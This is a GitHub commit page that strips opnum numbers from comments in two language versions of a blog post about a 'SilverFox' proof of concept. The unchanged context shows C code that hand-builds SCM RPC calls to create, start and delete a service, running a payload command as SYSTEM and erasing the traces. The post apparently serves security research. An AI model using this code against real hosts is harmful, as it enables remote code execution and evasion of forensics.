Skip to content

Commit 7382982

Browse files
fix: remove operation numbers from comments for clarity in SilverFox POC code
1 parent fc9b43a commit 7382982

2 files changed

Lines changed: 16 additions & 16 deletions

File tree

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -363,19 +363,19 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
363363
return 1;
364364

365365
//-------------------------------------------------------------------------
366-
// Step 2: ROpenSCManagerW (Opnum 27) - 获取 SCM 句柄
366+
// Step 2: ROpenSCManagerW - 获取 SCM 句柄
367367
//-------------------------------------------------------------------------
368368
RpcInitialiseRequestData(&RpcConnection);
369369
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL
370370
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL
371371
RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess
372-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27
372+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER);
373373

374374
// 响应前20字节是 SCM 句柄,后4字节是返回值
375375
memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20);
376376

377377
//-------------------------------------------------------------------------
378-
// Step 3: RCreateServiceW (Opnum 24) - 创建服务
378+
// Step 3: RCreateServiceW - 创建服务
379379
// 这里手工序列化了 CreateService 的所有参数
380380
//-------------------------------------------------------------------------
381381
RpcInitialiseRequestData(&RpcConnection);
@@ -392,30 +392,30 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
392392
// ... lpBinaryPathName (我们的 payload 命令行) ...
393393
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
394394
// ... 其他参数 (LoadOrderGroup, Dependencies 等都设为 NULL) ...
395-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24
395+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE);
396396

397397
// 响应: [0-3] TagId, [4-23] 服务句柄, [24-27] 返回值
398398
memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20);
399399

400400
//-------------------------------------------------------------------------
401-
// Step 4: RStartServiceW (Opnum 31) - 启动服务
401+
// Step 4: RStartServiceW - 启动服务
402402
// 服务会以 SYSTEM 身份运行,执行我们的 payload
403403
//-------------------------------------------------------------------------
404404
RpcInitialiseRequestData(&RpcConnection);
405405
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService
406406
RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0
407407
RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL
408-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31
408+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE);
409409

410410
// 注意: 返回 ERROR_SERVICE_REQUEST_TIMEOUT (1053) 是正常的
411411
// 因为我们的 "服务" 不是真正的服务程序,不会响应 SCM 的控制请求
412412

413413
//-------------------------------------------------------------------------
414-
// Step 5: RDeleteService (Opnum 2) - 删除服务,清理痕迹
414+
// Step 5: RDeleteService - 删除服务,清理痕迹
415415
//-------------------------------------------------------------------------
416416
RpcInitialiseRequestData(&RpcConnection);
417417
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20);
418-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2
418+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE);
419419

420420
RpcDisconnect(&RpcConnection);
421421
return 0;

_posts/2025-12-15-silver-fox-poc-2025.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -363,19 +363,19 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
363363
return 1;
364364

365365
//-------------------------------------------------------------------------
366-
// Step 2: ROpenSCManagerW (Opnum 27) - Get SCM Handle
366+
// Step 2: ROpenSCManagerW - Get SCM Handle
367367
//-------------------------------------------------------------------------
368368
RpcInitialiseRequestData(&RpcConnection);
369369
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL
370370
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL
371371
RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess
372-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27
372+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER);
373373

374374
// Response first 20 bytes is SCM handle, last 4 bytes is return value
375375
memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20);
376376

377377
//-------------------------------------------------------------------------
378-
// Step 3: RCreateServiceW (Opnum 24) - Create Service
378+
// Step 3: RCreateServiceW - Create Service
379379
// Here we manually serialize all parameters of CreateService
380380
//-------------------------------------------------------------------------
381381
RpcInitialiseRequestData(&RpcConnection);
@@ -392,30 +392,30 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
392392
// ... lpBinaryPathName (Our payload command line) ...
393393
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
394394
// ... Other parameters (LoadOrderGroup, Dependencies etc. set to NULL) ...
395-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24
395+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE);
396396

397397
// Response: [0-3] TagId, [4-23] Service Handle, [24-27] Return Value
398398
memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20);
399399

400400
//-------------------------------------------------------------------------
401-
// Step 4: RStartServiceW (Opnum 31) - Start Service
401+
// Step 4: RStartServiceW - Start Service
402402
// Service will run as SYSTEM, executing our payload
403403
//-------------------------------------------------------------------------
404404
RpcInitialiseRequestData(&RpcConnection);
405405
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService
406406
RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0
407407
RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL
408-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31
408+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE);
409409

410410
// Note: Returning ERROR_SERVICE_REQUEST_TIMEOUT (1053) is normal
411411
// Because our "Service" is not a real service program, it won't respond to SCM control requests
412412

413413
//-------------------------------------------------------------------------
414-
// Step 5: RDeleteService (Opnum 2) - Delete Service, clean up traces
414+
// Step 5: RDeleteService - Delete Service, clean up traces
415415
//-------------------------------------------------------------------------
416416
RpcInitialiseRequestData(&RpcConnection);
417417
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20);
418-
RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2
418+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE);
419419

420420
RpcDisconnect(&RpcConnection);
421421
return 0;

0 commit comments

Comments
 (0)